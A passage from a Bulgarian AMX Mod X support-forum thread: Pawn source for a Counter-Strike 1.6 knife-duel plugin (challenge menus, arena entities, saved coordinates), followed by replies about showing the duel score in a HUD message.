	if (is_user_alive(tempid) && !in_Duel[tempid])
	{
		g_Challenge[Challenger] = tempid;
		g_Challenge[tempid] = Challenger;
		Questionm(tempid);
	}

	menu_destroy(menu);
	return PLUGIN_HANDLED;
}
public Questionm(Challenged) 
{
	if (is_user_alive(Challenged) && is_user_alive(g_Challenge[Challenged]))
	{
		new szAddItemText[555 char], ChallengerName[32];
		get_user_name(g_Challenge[Challenged], ChallengerName, 31);
		format(szAddItemText, charsmax(szAddItemText), "\r%s \wвызывает тебя на дуэль.^n\yПринять?", ChallengerName);
		new menu = menu_create(szAddItemText, "Questionm_handler")
		menu_additem(menu, "\wДа!", "1", 0);
		menu_additem(menu, "\wНет!", "2", 0);
		menu_setprop(menu, MPROP_PERPAGE, 0);
		menu_display(Challenged, menu, 0);
		return PLUGIN_HANDLED
	}
	else 
	{ 
		return PLUGIN_HANDLED 
	}
	return PLUGIN_HANDLED
}
public Questionm_handler(Challenged, menu, item)
{	
	new data[6], szName[64], ccname[32], cname[32];
	new access, callback;
	menu_item_getinfo(menu, item, access, data, charsmax(data), szName, charsmax(szName), callback);
	new key = str_to_num(data);
	get_user_name(Challenged, ccname, 31);
	get_user_name(g_Challenge[Challenged], cname, 31);
	switch(key)
	{
		case 1:
		{
			if (in_Duel[g_Challenge[Challenged]])
			{
				if (task_exists(Challenged))
				{
					menu_destroy(menu);
					remove_task(Challenged);
				}
				client_print_color(Challenged, "!t[!gДуэли!t] !gТы опоздал, !t%s !gначал другую дуэль.", cname);
				DisableChecks(Challenged);
				return PLUGIN_HANDLED
			}
			if (!is_user_alive(Challenged))
			{
				if (task_exists(Challenged))
				{
					menu_destroy(menu);
					remove_task(Challenged);
				}
				client_print_color(Challenged, "!t[!gДуэли!t] !gТы !tмёртв.", ccname);
				DisableChecks(Challenged);
				return PLUGIN_HANDLED
			}
			if (!is_user_alive(g_Challenge[Challenged]))
			{
				if (task_exists(Challenged))
				{
					menu_destroy(menu);
					remove_task(Challenged);
				}
				client_print_color(Challenged, "!t[!gДуэли!t] !g%s !tмертв или вышел.", cname);
				DisableChecks(Challenged);
				return PLUGIN_HANDLED
			}
			if (task_exists(Challenged))
			{
				menu_destroy(menu);
				remove_task(Challenged);
			}
			if (!g_Challenge[Challenged])
			{
				menu_destroy(menu);
				return PLUGIN_HANDLED
			}
			else
			{
				choose_area(Challenged);
				client_print_color(0, "!t[!gДуэли!t] !tНачалась дуэль !g%s !tпротив !g%s!t.", ccname, cname);
				in_Duel[Challenged] = true;
				in_Duel[g_Challenge[Challenged]] = true;
			}
			return PLUGIN_HANDLED
		}
		case 2:
		{
			if (task_exists(Challenged))
			{
				menu_destroy(menu);
				remove_task(Challenged);
			}
			client_print_color(g_Challenge[Challenged], "!t[!gДуэли!t] !g%s !tотклонил твой вызов.", ccname);
			DisableChecks(Challenged);
			return PLUGIN_HANDLED
		}
	}
	menu_destroy(menu);
	return PLUGIN_HANDLED
}

public choose_area(Challenged)
{
	if (cs_get_user_team(g_Challenge[Challenged]) == cs_get_user_team(Challenged))
	{
			switch (cs_get_user_team(g_Challenge[Challenged]))
		{
				case (CS_TEAM_CT):
			{
				cs_set_user_team(Challenged, CS_TEAM_T, CS_T_LEET);
				}
				case (CS_TEAM_T):
			{
				cs_set_user_team(Challenged, CS_TEAM_CT, CS_CT_GIGN);
	   			}
			}
	}
	g_Area[Challenged] = 1;
	switch (g_Area[Challenged])
	{
		case 1:
		{
			if (Arena1in) { g_Area[Challenged]+=1; }
			switch (g_Area[Challenged])
			{
				case 2:
				{
					if (Arena2in)
					{
						new cccname[32];
						get_user_name(Challenged, cccname, 31);
						client_print_color(Challenged, "!t[!gДуэли!t] Все арены заняты, ты слишком долго думаешь.");
						client_print_color(g_Challenge[Challenged], "!t[!gДуэли!t] Все арены заняты !g%s !tслишком долго думал.", cccname);
						DisableChecks(Challenged);
					}
				}
			}
		}
	}
	startduel(Challenged);
}


public startduel(Challenged)
{
	if (task_exists(Challenged))
	{
		remove_task(Challenged);
	}

	set_user_health(Challenged, map_default_hp);
	set_user_health(g_Challenge[Challenged], map_default_hp);
   	set_user_armor(Challenged, 0);
	set_user_armor(g_Challenge[Challenged], 0);
	strip_user_weapons(Challenged);
	strip_user_weapons(g_Challenge[Challenged]);
	give_item(Challenged, "weapon_knife");
	give_item(g_Challenge[Challenged], "weapon_knife");
	set_user_maxspeed(Challenged, 250.0);
	set_user_maxspeed(g_Challenge[Challenged], 250.0);
	set_user_gravity(Challenged, 1.0);
	set_user_gravity(g_Challenge[Challenged], 1.0);

	KDC_Menu( g_Challenge[Challenged] )

	switch (g_Area[Challenged])
	{
		case 1:
		{
			Arena1in = true;
			makewall1()

			set_spawn_positions(Challenged,vOrigin)
			set_spawn_positions(g_Challenge[Challenged],vOrigin)
						
		}
		case 2:
		{
			Arena2in = true;
			makewall2()

			set_spawn_positions(Challenged,fOrigin)
			set_spawn_positions(g_Challenge[Challenged],fOrigin)
		}

	}
	most = false
	return PLUGIN_HANDLED
}



public plugin_precache() 
{
	precache_model(DATE)
	precache_model(DATE2)
}

public client_PostThink(id)
{
	if( is_user_alive(id) && in_Duel[id] )
	{
		new flags = entity_get_int(id, EV_INT_flags);

		new Float:origin[3], Float:dest[3];
		entity_get_vector(id, EV_VEC_origin, origin);


		dest[0] = origin[0];
		dest[1] = origin[1];
		dest[2] = origin[2] + 340.0;
		new ptr = create_tr2();
		engfunc(EngFunc_TraceHull, origin, dest, 0, flags & FL_DUCKING ? HULL_HEAD : HULL_HUMAN, id, ptr);
		new Float:flFraction;
		get_tr2(ptr, TR_flFraction, flFraction);
		if( flFraction >= 1.0)
		{

			ExecuteHamB(Ham_CS_RoundRespawn, id)
			//user_kill(id)
			client_print_color(id, "!g[!tДуэли!g] !tНе покидай !gарену.");

			free_tr2(ptr);
			return;
		}

		get_tr2(ptr, TR_vecPlaneNormal, dest);
		free_tr2(ptr);
	}
}

public NonStop(id)
{
	if(in_Duel[id] && Non_Stop[id] )
	{
		set_user_health(id, 65)

		if(get_user_team(id) == 1)
		{
			fVelocity[0] = 260.0;
			fVelocity[1] = 0.0;
			fVelocity[2] = 0.0;

			set_pev( id, pev_velocity, fVelocity )
		}
		if(get_user_team(id) == 2)
		{
			fVelocity[0] = -260.0;
			fVelocity[1] = 0.0;
			fVelocity[2] = 0.0;

			set_pev( id, pev_velocity, fVelocity )
		}
	}
}

public pfw_UpdateClientData(id, weapons, cd)
{
	if(in_Duel[id] && Non_Stop[id] )
	{
		set_cd(cd, CD_flNextAttack, 1.0)
		  
		if((entity_get_int(id, EV_INT_button) & (IN_BACK | IN_MOVELEFT | IN_MOVERIGHT)))
		set_cd(cd, CD_MaxSpeed, 1.0)
		static iOldbuttons; 
		iOldbuttons = entity_get_int(id, EV_INT_oldbuttons) 
			if( !(iOldbuttons & IN_JUMP & IN_DUCK) ) 
			{ 
			entity_set_int(id, EV_INT_oldbuttons, iOldbuttons | IN_JUMP | IN_DUCK) 
			return HAM_HANDLED 
			} 
		return HAM_IGNORED 
	}
	return FMRES_IGNORED
}

stock dArena(const iarena)
{
	new ent = -1;
	switch (iarena)
	{
		case 1:
		{
			while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
			{
				remove_entity(ent);
			}
		}
		case 2:
		{
			while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
			{
				remove_entity(ent);
			}
		}
	}
}


stock client_print_color(const id, const input[], any:...)  
{  
	new count = 1, players[32];  
	static msg[191];  
	vformat(msg, 190, input, 3);
	replace_all(msg, 190, "!g", "^x04"); // Green Color  
	replace_all(msg, 190, "!y", "^x01"); // Default Color  
	replace_all(msg, 190, "!t", "^x03"); // Team Color  
	if (id) players[0] = id; else get_players(players, count, "ch");  
	{  
		for (new i = 0; i < count; i++)  
		{  
			if (is_user_connected(players[i]))  
			{  
				message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);  
				write_byte(players[i]);  
				write_string(msg);  
				message_end();  

			}  
		}  
	}  
}




public EntityMenu( id )
{
	new flags = get_user_flags(id)
	if(!(flags & ADMIN_RCON))
	{
		client_print(id,print_chat,"!gУ тебя !tнет доступа !gк настройке дуэлей")
		return PLUGIN_HANDLED
	}
	new gMenu = menu_create("\yНастройка дуэли", "entity_menu")
	
	menu_additem(gMenu, "\wАрена A", "0") 
	menu_additem(gMenu, "\wАрена B", "0") 
	menu_additem(gMenu, "\wДвигать арену", "0")  
	menu_additem(gMenu, "\wСохранить арену A", "0") 
	menu_additem(gMenu, "\wСохранить арену B", "0")	
	menu_additem(gMenu, "\wУдалить арену", "0")

	menu_display(id, gMenu, 0)

	return PLUGIN_HANDLED;  
}

public entity_menu(id, menu, item, code)	   
{
	if ( item == MENU_EXIT )	
	{
		menu_destroy(menu)	   
		return PLUGIN_HANDLED;   
	}
	switch(item)   
	{
		case 0: Make_Entity(id)
		case 1: Make_Entity2(id)
		case 2: move_menu(id,code)
		case 3: save_first_arena(id)
		case 4: save_second_arena(id)
		case 5: remove_arena(id)
	}
	return PLUGIN_HANDLED;  
}

public Make_Entity(id)
{	
	if(!is_user_connected(id))
		return PLUGIN_HANDLED

	static Float:xorigin[3];

	get_user_hitpoint(id,xorigin)

	Entity = create_entity( "info_target" );

	if(fake_arena_exists_a(id))
	{
		client_print_color(id,"%s ^3Maximum arenas reached.^1",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	if( is_valid_ent(Entity) )
	{
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_A");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE );
		entity_set_size( Entity , Float:{ -350.0, -230.0, 0.0 }, Float:{ 350.0, 230.0, 10.0 } );		
		entity_set_origin( Entity, xorigin );
	}  
	EntityMenu(id)

	return PLUGIN_HANDLED
}

public Make_Entity2(id)
{	
	if(!is_user_connected(id))
		return PLUGIN_HANDLED

	static Float:xorigin[3];

	get_user_hitpoint(id,xorigin)

	Entity = create_entity( "info_target" );

	if(fake_arena_exists_b(id))
	{
		client_print_color(id,"%s ^3Maximum arenas reached.^1",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	if( is_valid_ent(Entity) )
	{
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_B");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE );
		entity_set_size( Entity , Float:{ -350.0, -230.0, 0.0 }, Float:{ 350.0, 230.0, 10.0 } );		
		
		entity_set_origin( Entity, xorigin );
	}  
	EntityMenu(id)

	return PLUGIN_HANDLED
}

public remove_arena(id)
{
	new ent = -1;

	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
	{
	remove_entity(ent);
	}
	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
	{
	remove_entity(ent);
	}
	EntityMenu(id)
}

public move_menu(id,code)
{
	new menu
	menu = menu_create( "\rMove arena:", "move_handler" );
   
	new nameu[32];
	new code_t[32];
	num_to_str(code,code_t,charsmax(code_t))
	formatex(nameu,charsmax(nameu), "Move up");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move down");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move front");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move back");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move right");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move left");
	menu_additem(menu, nameu, code_t, 0);
   
	formatex(nameu,charsmax(nameu), "Move size: %.2f",move_size[id]);
	menu_additem(menu, nameu, code_t, 0);

	menu_display(id, menu, 0 );
	return PLUGIN_HANDLED
}

public move_handler( id, menu, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy( menu );
		return PLUGIN_HANDLED;
	}
   
	new szData[32], szName[64];
	new _access, item_callback;
	menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
	new code = str_to_num(szData)

	if(containi(szName,"move size:") != -1)
	{
		move_size[id]+= 10.0
		if(move_size[id] > 100.0)
		{
			move_size[id] = 10.0
		}
	}

	else if(equali(szName,"move up"))
	{
		move_the_fake_arena(id,code,MOVE_UP)
	}
	else if(equali(szName,"move down"))
	{
		move_the_fake_arena(id,code,MOVE_DOWN)
	}
	else if(equali(szName,"move right"))
	{
		move_the_fake_arena(id,code,MOVE_RIGHT)
	}
	else if(equali(szName,"move left"))
	{
		move_the_fake_arena(id,code,MOVE_LEFT)
	}
	else if(equali(szName,"move front"))
	{
		move_the_fake_arena(id,code,MOVE_FRONT)
	}
	else if(equali(szName,"move back"))
	{
		move_the_fake_arena(id,code,MOVE_BACK)
	}
	menu_destroy( menu );
	move_menu(id,code)
   
	return PLUGIN_CONTINUE;
}

public move_the_fake_arena(id,code,moveto)
{
	new ent = -1;
	new Float:origin[3];

	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
	{ 
		pev(ent,pev_origin,origin);

		switch(moveto)
		{
			case MOVE_UP:
			{
				origin[2]+=move_size[id]
			}
			case MOVE_DOWN:
			{
				origin[2]-=move_size[id]
			}
			case MOVE_RIGHT:
			{
				origin[1]+=move_size[id]
			}
			case MOVE_LEFT:
			{
				origin[1]-=move_size[id]
			}
			case MOVE_FRONT:
			{
				origin[0]+=move_size[id]
			}
			case MOVE_BACK:
			{
				origin[0]-=move_size[id]
			}
		}
		engfunc(EngFunc_SetOrigin,ent,origin);
	}

	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
	{ 
		pev(ent,pev_origin,origin);

		switch(moveto)
		{
			case MOVE_UP:
			{
				origin[2]+=move_size[id]
			}
			case MOVE_DOWN:
			{
				origin[2]-=move_size[id]
			}
			case MOVE_RIGHT:
			{
				origin[1]+=move_size[id]
			}
			case MOVE_LEFT:
			{
				origin[1]-=move_size[id]
			}
			case MOVE_FRONT:
			{
				origin[0]+=move_size[id]
			}
			case MOVE_BACK:
			{
				origin[0]-=move_size[id]
			}
		}
		engfunc(EngFunc_SetOrigin,ent,origin);
	}
   
}

public save_first_arena(id)
{
	new found;
	new cfgdir[32], mapname[32], urlfile[64]
	get_configsdir(cfgdir, charsmax(cfgdir))
	get_mapname(mapname, charsmax(mapname))
	formatex(urlfile, charsmax(urlfile), ARENA_FILE_AAA, cfgdir, mapname)
 
	if (file_exists(urlfile))
		delete_file(urlfile)
   
	new lineset[128]
	new Float:origin[3]
	new ent=-1;
	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
	{
			found++
			pev(ent,pev_origin,origin);
			format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
			write_file(urlfile, lineset,found)
	}
	if(!found)
		client_print_color(id, "%s Couldn't save:^3No arenas found.",CHAT_TAG)
	else client_print_color(id,"%s %d ^3Arena Number 1 coords saved.",CHAT_TAG,found)
	EntityMenu(id)
	Load_Coords()
	Load_Coords2()

}

public save_second_arena(id)
{
	new found;
	new cfdir[32], mapname[32], urfile[64]
	get_configsdir(cfdir, charsmax(cfdir))
	get_mapname(mapname, charsmax(mapname))
	formatex(urfile, charsmax(urfile), ARENA_FILE_BBB, cfdir, mapname)
 
	if (file_exists(urfile))
		delete_file(urfile)
   
	new lineset[128]
	new Float:origin[3]
	new ent=-1;
	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
	{
			found++
			pev(ent,pev_origin,origin);
			format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
			write_file(urfile, lineset,found)
	}
	if(!found)
		client_print_color(id, "%s Couldn't save:^3No arenas found.",CHAT_TAG)
	else client_print_color(id,"%s %d ^3Arena Number 2 coords saved.",CHAT_TAG,found)
	EntityMenu(id)
	Load_Coords()
	Load_Coords2()
}

public Load_Coords() 
{
	new cfgdir[32], mapname[32], filepath[512]
	get_configsdir(cfgdir, charsmax(cfgdir))
	get_mapname(mapname, charsmax(mapname))

		new readdata[128]
		new txtlen
	
		formatex(filepath, charsmax(filepath), ARENA_FILE_AAA, cfgdir, mapname)

		if ( file_exists(filepath) ) 
		{

			new sOrigins[3][16];
			
			new i
			new fsize = file_size(filepath,1)
			for (new line=0;line<=fsize;line++)
			{
				read_file(filepath,line,readdata,127,txtlen)

				parse(readdata, sOrigins[0], 15, sOrigins[1], 15, sOrigins[2], 15)
				for(i = 0; i < 3; i++)
				{
					vOrigin[i] = str_to_float(sOrigins[i])
				}
			}					
		}
		return PLUGIN_CONTINUE
} 

public Load_Coords2() 
{
	new cfgdir[32], mapname[32], filepath[512]
	get_configsdir(cfgdir, charsmax(cfgdir))
	get_mapname(mapname, charsmax(mapname))

		new readdata[128]
		new txtlen
	
		formatex(filepath, charsmax(filepath), ARENA_FILE_BBB, cfgdir, mapname)

		if ( file_exists(filepath) ) 
		{

			new sOrigins[3][16];
			
			new i
			new fsize = file_size(filepath,1)
			for (new line=0;line<=fsize;line++)
			{
				read_file(filepath,line,readdata,127,txtlen)

				parse(readdata, sOrigins[0], 15, sOrigins[1], 15, sOrigins[2], 15)
				for(i = 0; i < 3; i++)
				{
					fOrigin[i] = str_to_float(sOrigins[i])
				}
			}					
		}
		return PLUGIN_CONTINUE
} 

public fake_arena_exists_a(code)
{
	new ent = -1
	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_A")))
	{
				return PLUGIN_HANDLED
	}
	return PLUGIN_CONTINUE
}

public fake_arena_exists_b(code)
{
	new ent = -1
	while ((ent = find_ent_by_class(ent, "ARENA_NUMBER_B")))
	{
				return PLUGIN_HANDLED
	}
	return PLUGIN_CONTINUE
}


public makewall1()
{

	Entity = create_entity( "info_target" );

	if( is_valid_ent(Entity) )
	{
	if(most == true)
	{	
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_A");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE2 );
		entity_set_size( Entity , Float:{ -352.0, -11.0, 0.0 }, Float:{ 352.0, 11.0, 10.0 } );
		entity_set_origin( Entity, vOrigin );
	}
	else
	{
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_A");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE );
		entity_set_size( Entity , Float:{ -347.0, -222.0, 0.0 }, Float:{ 347.0, 222.0, 10.0 } );		
		entity_set_origin( Entity, vOrigin );
	}
	}

}

public makewall2()
{

	Entity = create_entity( "info_target" );

	if( is_valid_ent(Entity) )
	{
	if(most == true)
	{	
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_B");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE2 );
		entity_set_size( Entity , Float:{ -352.0, -11.0, 0.0 }, Float:{ 352.0, 11.0, 10.0 } );
		entity_set_origin( Entity, fOrigin );
	}
	else
	{
		entity_set_string( Entity , EV_SZ_classname, "ARENA_NUMBER_B");
		entity_set_int( Entity , EV_INT_solid, SOLID_BBOX);
		entity_set_model( Entity , DATE );
		entity_set_size( Entity , Float:{ -347.0, -222.0, 0.0 }, Float:{ 347.0, 222.0, 10.0 } );		
		entity_set_origin( Entity, fOrigin );
	}
	}

}

public set_spawn_positions(id,Float:origin[3])
{
	if(get_user_team(id) == 1)
	{
		his_spawn[id][0] = origin[0]-320.0
		his_spawn[id][1] = origin[1]
		his_spawn[id][2] = origin[2]+50.0
		set_Angle(id, Float:{0.0, 0.0, 0.0})
	}
	if(get_user_team(id) == 2)
	{
		his_spawn[id][0] = origin[0]+320.0
		his_spawn[id][1] = origin[1]
		his_spawn[id][2] = origin[2]+50.0
		set_Angle(id, Float:{0.0, 180.0, 0.0})
	}
	entity_set_origin(id,his_spawn[id])
	
}

public stuck_check(Float:origin[3],Float:radius)
{
    new player=-1;
    while((player = find_ent_in_sphere(player,origin,radius)) != 0)
    {
        if(is_user_alive(player))
        {
            if(is_player_stuck(player))
            {
                his_spawn[player][0] = origin[0]
                his_spawn[player][1] = origin[1]
                his_spawn[player][2] = origin[2]+50.0
                entity_set_origin(player,his_spawn[player])
            }
        }
    }
}


stock set_Angle( index , Float:fAngle[ 3 ])
{
	entity_set_vector( index , EV_VEC_angles , fAngle ); 
	entity_set_int( index , EV_INT_fixangle , 1 );
}


stock get_user_hitpoint(id,Float:hOrigin[3])  {
	if(!is_user_alive(id))
		return 0;
 
	new Float:fOrigin[3],Float:fvAngle[3],Float:fvOffset[3],Float:fvOrigin[3],Float:feOrigin[3];
	new Float:fTemp[3];
 
	pev(id,pev_origin,fOrigin);
	pev(id,pev_v_angle,fvAngle);
	pev(id,pev_view_ofs,fvOffset);
 
	xs_vec_add(fOrigin,fvOffset,fvOrigin);
 
	engfunc(EngFunc_AngleVectors,fvAngle,feOrigin,fTemp,fTemp);
 
	xs_vec_mul_scalar(feOrigin,9999.9,feOrigin);
	xs_vec_add(fvOrigin,feOrigin,feOrigin);
 
	engfunc(EngFunc_TraceLine,fvOrigin,feOrigin,0,id);
	global_get(glb_trace_endpos,hOrigin);
 
	return 1;
}

stock is_player_stuck(id)
{
    static Float:originF[3]
    pev(id, pev_origin, originF)
   
    engfunc(EngFunc_TraceHull, originF, originF, 0, (pev(id, pev_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN, id, 0)
   
    if (get_tr2(0, TR_StartSolid) || get_tr2(0, TR_AllSolid) || !get_tr2(0, TR_InOpen))
        return true;
   
    return false;
}

stock available_duelers(asker)
{
	new num;
	num = 0 // just incase...
	for(new id;id < maxplayers;id++)
	{
		if(is_user_alive(id))
		{
			if(/*!in_Duel[id] && */id != asker && !is_user_bot(id))
			{
				num++
			}
		}
	}
	return num
}

/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1048\\ f0\\ fs16 \n\\ par }
*/
Elaborate, what exately shouldn't be shown in HUD and chat.

Аватар
HeatoN
Извън линия
Потребител
Потребител
Мнения: 232
Регистриран на: 04 Фев 2022, 16:16
Местоположение: Elhovo - Las Vegas
Се отблагодари: 35 пъти
Получена благодарност: 2 пъти
Обратна връзка:

Re: Проблем със къмплиране на плугин

Мнение от HeatoN » 27 Яну 2023, 17:10

I want it to be done when dueling to show the score in the HUD because currently there is no way to show a score while in a duel
Здравейте, Ние сме Dark-Star Counter-Strike базирана верига стремяща се да предостави качествени сървъри на своитепотребители
〢☆ При нас може да намерите:
〢☆ активен и помагащ STAFF
〢☆ Качествени сървъри.
〢☆ 24/7 поддръжка.
〢☆ Нашият дискорд: https://discord.gg/cPw8xauRPq
Изображение

Аватар
Dennis
Извън линия
AMXX Скриптър
AMXX Скриптър
Мнения: 177
Регистриран на: 25 Дек 2018, 04:14
Се отблагодари: 4 пъти
Получена благодарност: 10 пъти

Re: Проблем със къмплиране на плугин

Мнение от Dennis » 27 Яну 2023, 17:31

Just to confirm, you're willing to output this in a constant hud while in duel

Код за потвърждение: Избери целия код

client_print_color(0, "!t[!gДуэли!t] ^1%s !t%i!g:!t%i ^1%s!t. Победил - !g%s",

Аватар
HeatoN
Извън линия
Потребител
Потребител
Мнения: 232
Регистриран на: 04 Фев 2022, 16:16
Местоположение: Elhovo - Las Vegas
Се отблагодари: 35 пъти
Получена благодарност: 2 пъти
Обратна връзка:

Re: Проблем със къмплиране на плугин

Мнение от HeatoN » 27 Яну 2023, 17:56

What does what I want have to do with what you are saying, that is a completely different message. I want each kill to show the result of the duel in a HUD message
Здравейте, Ние сме Dark-Star Counter-Strike базирана верига стремяща се да предостави качествени сървъри на своитепотребители
〢☆ При нас може да намерите:
〢☆ активен и помагащ STAFF
〢☆ Качествени сървъри.
〢☆ 24/7 поддръжка.
〢☆ Нашият дискорд: https://discord.gg/cPw8xauRPq
Изображение

Публикувай отговор
  • Подобни теми
    Отговори
    Преглеждания
     Последно мнение

Обратно към “Поддръжка / Помощ”

Кой е на линия

Потребители разглеждащи този форум: 0 регистрирани и 15 госта